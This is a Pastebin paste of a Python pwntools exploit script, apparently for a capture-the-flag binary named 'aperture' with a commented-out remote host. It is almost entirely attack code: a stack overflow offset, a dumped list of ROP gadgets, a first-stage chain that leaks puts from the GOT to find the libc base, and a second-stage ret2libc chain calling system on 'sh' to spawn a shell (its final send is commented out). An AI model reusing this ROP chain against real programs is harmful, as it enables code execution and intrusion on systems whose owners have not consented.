Advertisement
Guest User

Untitled

a guest
Jul 20th, 2019
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.85 KB | None | 0 0
  1. from pwn import *
  2.  
  3. exec_path = "./aperture"
  4. context.binary = exec_path
  5. e = ELF(exec_path)
  6.  
  7. log.info("context is: " + str(vars(context)))
  8.  
  9.  
  10. # Determine offsets
  11. #RBP=160 for first read
  12. offset=168
  13. libc = ELF('libc.so.6')
  14. puts_off = libc.symbols['puts']
  15. system_off = libc.symbols['system']
  16. ret_to_text=0x400992
  17.  
  18. '''
  19. Gadgets
  20. 0x0000000000400d2c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  21. 0x0000000000400d2e : pop r13 ; pop r14 ; pop r15 ; ret
  22. 0x0000000000400d30 : pop r14 ; pop r15 ; ret
  23. 0x0000000000400d32 : pop r15 ; ret
  24. 0x00000000004008a2 : pop rbp ; mov byte ptr [rip + 0x20180e], 1 ; ret
  25. 0x0000000000400841 : pop rbp ; mov edi, 0x602090 ; jmp rax
  26. 0x000000000040087e : pop rbp ; mov rsi, rax ; mov edi, 0x602090 ; jmp rdx
  27. 0x0000000000400d2b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  28. 0x0000000000400d2f : pop rbp ; pop r14 ; pop r15 ; ret
  29. 0x0000000000400835 : pop rbp ; ret
  30. 0x0000000000400d33 : pop rdi ; ret
  31. 0x0000000000400cc1 : pop rdx ; ret
  32. 0x0000000000400d31 : pop rsi ; pop r15 ; ret
  33. 0x0000000000400ccb : pop rsi ; ret
  34. 0x0000000000400d2d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
  35. 0x00000000004008c4 : push rbp ; mov edi, 0x601e18 ; mov rbp, rsp ; call rax
  36. 0x0000000000400cc3 : push rbp ; mov rbp, rsp ; push rsi ; rep stosb byte ptr [rdi], al ; nop ; pop rsi ; ret
  37. 0x0000000000400cc7 : push rsi ; rep stosb byte ptr [rdi], al ; nop ; pop rsi ; ret
  38. 0x0000000000400cc8 : rep stosb byte ptr [rdi], al ; nop ; pop rsi ; ret
  39. 0x00000000004006f6 : ret
  40. 0x0000000000400792 : ret 0x2018
  41. 0x0000000000400a04 : ret 0x458b
  42. 0x0000000000400cbc : ret 0x480c
  43. 0x0000000000400c4d : ret 0x8b48
  44. 0x0000000000400865 : ret 0xc148
  45. 0x0000000000400b0c : ret 0xd089
  46. 0x0000000000400af3 : ret 0xeac1
  47.  
  48. '''
  49.  
  50. pop_rdi_ret=0x0000000000400d33
  51. pop_rsi_r15=0x0000000000400801
  52.  
  53. # Craft payload stage 1
  54. pad=""
  55. pad+="A"*(offset)
  56. buf = ""
  57. buf += p64(pop_rdi_ret)
  58. buf += p64(e.got['puts'])
  59. buf += p64(e.plt['puts'])
  60. buf += p64(ret_to_text)
  61.  
  62. p=process(exec_path)
  63. #p=remote('141.85.224.102','31342')
  64. #gdb.attach(p)
  65. #p.recvuntil('What color shall grace your banner? ')
  66. raw_input('Send payload? ')
  67. p.send(pad + buf)
  68. p.recvlines(1)
  69.  
  70. puts_libc = u64(p.recv(6)+"\x00"+"\x00")
  71. log.info("Leaked puts is: {}".format(hex(puts_libc)))
  72. libc_base = puts_libc - libc.symbols['puts']
  73. system_addr = libc_base + system_off
  74. sh_address = libc_base + next(libc.search('sh\x00'))
  75. log.info("Leaked libc base addr is: {}".format(hex(libc_base)))
  76. log.info("Leaked system address is: {}".format(hex(system_addr)))
  77. log.info("Leaked binsh addr is: {}".format(hex(sh_address)))
  78. #log.info("Leaked dup2 addr is: {}".format(hex(dup2_addr)))
  79.  
  80.  
  81. pay2=""
  82. pay2+="A"*offset
  83. pay2+=p64(pop_rdi_ret) + p64(sh_address) + p64(system_addr)
  84. #pay2+=p32(sh_address)
  85.  
  86. #raw_input('send payload2?')
  87. #p.recvuntil('What color shall grace your banner? ')
  88. #p.sendline(pay2)
  89.  
  90. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement